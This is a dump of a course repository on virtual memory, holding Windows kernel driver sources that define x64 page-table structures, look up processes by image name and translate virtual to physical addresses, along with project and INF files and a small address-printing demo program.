https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/06.03.DumpPageTable/main.c -------------------------------------------------------------------------------- /06.03.DumpPageTable/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /06.03.DumpPageTable/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // winternl.h 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemBasicInformation = 0, 7 | SystemPerformanceInformation = 2, 8 | SystemTimeOfDayInformation = 3, 9 | SystemProcessInformation = 5, 10 | SystemProcessorPerformanceInformation = 8, 11 | SystemInterruptInformation = 23, 12 | SystemExceptionInformation = 33, 13 | SystemRegistryQuotaInformation = 37, 14 | SystemLookasideInformation = 45, 15 | SystemCodeIntegrityInformation = 103, 16 | SystemPolicyInformation = 134, 17 | } SYSTEM_INFORMATION_CLASS; 18 | 19 | // winternl.h 20 | typedef struct _SYSTEM_PROCESS_INFORMATION { 21 | ULONG NextEntryOffset; 22 | ULONG NumberOfThreads; 23 | UCHAR Reserved1[48]; 24 | UNICODE_STRING ImageName; 25 | KPRIORITY BasePriority; 26 | HANDLE UniqueProcessId; 27 | PVOID Reserved2; 28 | ULONG HandleCount; 29 | ULONG SessionId; 30 | PVOID Reserved3; 31 | SIZE_T PeakVirtualSize; 32 | SIZE_T VirtualSize; 33 | ULONG Reserved4; 34 | SIZE_T PeakWorkingSetSize; 35 | SIZE_T WorkingSetSize; 36 | PVOID Reserved5; 37 | SIZE_T QuotaPagedPoolUsage; 38 | PVOID Reserved6; 39 | SIZE_T QuotaNonPagedPoolUsage; 40 | SIZE_T PagefileUsage; 41 | SIZE_T PeakPagefileUsage; 42 | SIZE_T PrivatePageCount; 43 | LARGE_INTEGER Reserved7[6]; 44 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 45 | 46 | // winternl.h 47 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 48 | NTKERNELAPI 49 | NTSTATUS 50 | NtQuerySystemInformation( 51 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 52 | PVOID SystemInformation, 53 | ULONG SystemInformationLength, 54 | PULONG ReturnLength 55 | ); 56 | 57 | NTSTATUS 58 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 59 | 60 | NTSTATUS 61 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 62 | -------------------------------------------------------------------------------- /06.03.DumpPageTable/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | VOID 175 | DumpUserPageTable(PEPROCESS Process); 176 | -------------------------------------------------------------------------------- /07.01.VaToPa/07.01.VaToPa.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /07.01.VaToPa/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _07_01_VaToPa.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_07_01_VaToPa.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _07_01_VaToPa_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 07.01.VaToPa.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_07_01_VaToPa.DeviceDesc%=_07_01_VaToPa_Device, Root\_07_01_VaToPa ; TODO: edit hw-id 34 | 35 | [_07_01_VaToPa_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 07.01.VaToPa.sys 40 | 41 | ;-------------- Service installation 42 | [_07_01_VaToPa_Device.NT.Services] 43 | AddService = _07_01_VaToPa,%SPSVCINST_ASSOCSERVICE%, _07_01_VaToPa_Service_Inst 44 | 45 | ; -------------- _07_01_VaToPa driver install sections 46 | [_07_01_VaToPa_Service_Inst] 47 | DisplayName = %_07_01_VaToPa.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_07_01_VaToPa.sys 52 | 53 | ; 54 | ;--- _07_01_VaToPa_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_07_01_VaToPa_Device.NT.CoInstallers] 58 | AddReg=_07_01_VaToPa_Device_CoInstaller_AddReg 59 | CopyFiles=_07_01_VaToPa_Device_CoInstaller_CopyFiles 60 | 61 | [_07_01_VaToPa_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_07_01_VaToPa_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_07_01_VaToPa_Device.NT.Wdf] 68 | KmdfService = _07_01_VaToPa, _07_01_VaToPa_wdfsect 69 | [_07_01_VaToPa_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_07_01_VaToPa Installation Disk" 76 | _07_01_VaToPa.DeviceDesc = "_07_01_VaToPa Device" 77 | _07_01_VaToPa.SVCDESC = "_07_01_VaToPa Service" 78 | -------------------------------------------------------------------------------- /07.01.VaToPa/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/07.01.VaToPa/main.c -------------------------------------------------------------------------------- /07.01.VaToPa/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /07.01.VaToPa/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // winternl.h 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemBasicInformation = 0, 7 | SystemPerformanceInformation = 2, 8 | SystemTimeOfDayInformation = 3, 9 | SystemProcessInformation = 5, 10 | SystemProcessorPerformanceInformation = 8, 11 | SystemInterruptInformation = 23, 12 | SystemExceptionInformation = 33, 13 | SystemRegistryQuotaInformation = 37, 14 | SystemLookasideInformation = 45, 15 | SystemCodeIntegrityInformation = 103, 16 | SystemPolicyInformation = 134, 17 | } SYSTEM_INFORMATION_CLASS; 18 | 19 | // winternl.h 20 | typedef struct _SYSTEM_PROCESS_INFORMATION { 21 | ULONG NextEntryOffset; 22 | ULONG NumberOfThreads; 23 | UCHAR Reserved1[48]; 24 | UNICODE_STRING ImageName; 25 | KPRIORITY BasePriority; 26 | HANDLE UniqueProcessId; 27 | PVOID Reserved2; 28 | ULONG HandleCount; 29 | ULONG SessionId; 30 | PVOID Reserved3; 31 | SIZE_T PeakVirtualSize; 32 | SIZE_T VirtualSize; 33 | ULONG Reserved4; 34 | SIZE_T PeakWorkingSetSize; 35 | SIZE_T WorkingSetSize; 36 | PVOID Reserved5; 37 | SIZE_T QuotaPagedPoolUsage; 38 | PVOID Reserved6; 39 | SIZE_T QuotaNonPagedPoolUsage; 40 | SIZE_T PagefileUsage; 41 | SIZE_T PeakPagefileUsage; 42 | SIZE_T PrivatePageCount; 43 | LARGE_INTEGER Reserved7[6]; 44 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 45 | 46 | // winternl.h 47 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 48 | NTKERNELAPI 49 | NTSTATUS 50 | NtQuerySystemInformation( 51 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 52 | PVOID SystemInformation, 53 | ULONG SystemInformationLength, 54 | PULONG ReturnLength 55 | ); 56 | 57 | NTSTATUS 58 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 59 | 60 | NTSTATUS 61 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 62 | -------------------------------------------------------------------------------- /07.01.VaToPa/x64.c: -------------------------------------------------------------------------------- 1 | #include "x64.h" 2 | 3 | NTSTATUS 4 | CurrentProcessVaToPa(VA Va, PPA Pa) 5 | { 6 | CR3 Cr3 = { .Value = __readcr3() }; 7 | 8 | PA L1ptPa = { .Fields4KB.PPN = Cr3.Fields.PPN }; 9 | PL1PTE L1pt = MmGetVirtualForPhysical(L1ptPa.AsLargeInteger); 10 | L1PTE L1pte = L1pt[Va.Fields.VPN1]; 11 | if (!L1pte.Fields.P) return STATUS_INVALID_ADDRESS; 12 | 13 | PA L2ptPa = { .Fields4KB.PPN = L1pte.Fields.PPN }; 14 | PL2PTE L2pt = MmGetVirtualForPhysical(L2ptPa.AsLargeInteger); 15 | L2PTE L2pte = L2pt[Va.Fields.VPN2]; 16 | if (!L2pte.Fields.P) return STATUS_INVALID_ADDRESS; 17 | 18 | if (L2pte.Fields1GB.PS) 19 | { 20 | *Pa = (PA){ .Fields1GB = { 21 | .PPN = L2pte.Fields1GB.PPN, 22 | .PPO = Va.Fields1GB.VPO 23 | } }; 24 | return STATUS_SUCCESS; 25 | } 26 | 27 | PA L3ptPa = { .Fields4KB.PPN = L2pte.Fields.PPN }; 28 | PL3PTE L3pt = MmGetVirtualForPhysical(L3ptPa.AsLargeInteger); 29 | L3PTE L3pte = L3pt[Va.Fields.VPN3]; 30 | if (!L3pte.Fields.P) return STATUS_INVALID_ADDRESS; 31 | 32 | if (L3pte.Fields2MB.PS) 33 | { 34 | *Pa = (PA){ .Fields2MB = { 35 | .PPN = L3pte.Fields2MB.PPN, 36 | .PPO = Va.Fields2MB.VPO 37 | } }; 38 | return STATUS_SUCCESS; 39 | } 40 | 41 | PA L4ptPa = { .Fields4KB.PPN = L3pte.Fields.PPN }; 42 | PL4PTE L4pt = MmGetVirtualForPhysical(L4ptPa.AsLargeInteger); 43 | L4PTE L4pte = L4pt[Va.Fields.VPN4]; 44 | if (!L4pte.Fields.P) return STATUS_INVALID_ADDRESS; 45 | 46 | *Pa = (PA){ .Fields4KB = { 47 | .PPN = L4pte.Fields.PPN, 48 | .PPO = Va.Fields4KB.VPO 49 | } }; 50 | return STATUS_SUCCESS; 51 | } 52 | 53 | NTSTATUS 54 | VaToPa(PEPROCESS Process, VA Va, PPA Pa) 55 | { 56 | if (PsGetCurrentProcess() == Process) return CurrentProcessVaToPa(Va, Pa); 57 | 58 | NTSTATUS Status; 59 | KAPC_STATE ApcState; 60 | KeStackAttachProcess(Process, &ApcState); 61 | Status = CurrentProcessVaToPa(Va, Pa); 62 | KeUnstackDetachProcess(&ApcState); 63 | return Status; 64 | } 65 | -------------------------------------------------------------------------------- /07.01.VaToPa/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | struct 178 | { 179 | UINT64 VPO : 12; 180 | UINT64 VPN4 : 9; 181 | UINT64 VPN3 : 9; 182 | UINT64 VPN2 : 9; 183 | UINT64 VPN1 : 9; 184 | UINT64 SEXT : 16; 185 | } Fields4KB; 186 | struct 187 | { 188 | UINT64 VPO : 21; 189 | UINT64 VPN3 : 9; 190 | UINT64 VPN2 : 9; 191 | UINT64 VPN1 : 9; 192 | UINT64 SEXT : 16; 193 | } Fields2MB; 194 | struct 195 | { 196 | UINT64 VPO : 30; 197 | UINT64 VPN2 : 9; 198 | UINT64 VPN1 : 9; 199 | UINT64 SEXT : 16; 200 | } Fields1GB; 201 | struct 202 | { 203 | UINT64 Ignored1 : 12; 204 | UINT64 VPN4 : 9; 205 | UINT64 VPN3 : 9; 206 | UINT64 VPN2 : 9; 207 | UINT64 VPN1 : 9; 208 | UINT64 Ignored2 : 16; 209 | } Fields; 210 | } VA, * PVA; 211 | static_assert(sizeof(VA) == 8, "sizeof VA"); 212 | 213 | NTSTATUS 214 | VaToPa(PEPROCESS Process, VA Va, PPA Pa); 215 | -------------------------------------------------------------------------------- /08.01.Repeater/08.01.Repeater.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /08.01.Repeater/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int 6 | main() 7 | { 8 | int Value = 123; 9 | 10 | while (true) 11 | { 12 | printf("0x%p # %d\n", &Value, Value); 13 | system("pause>nul"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /08.02.Playground/08.02.Playground.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /08.02.Playground/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/08.02.Playground/main.c -------------------------------------------------------------------------------- /08.03.ShareMemory/08.03.ShareMemory.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | 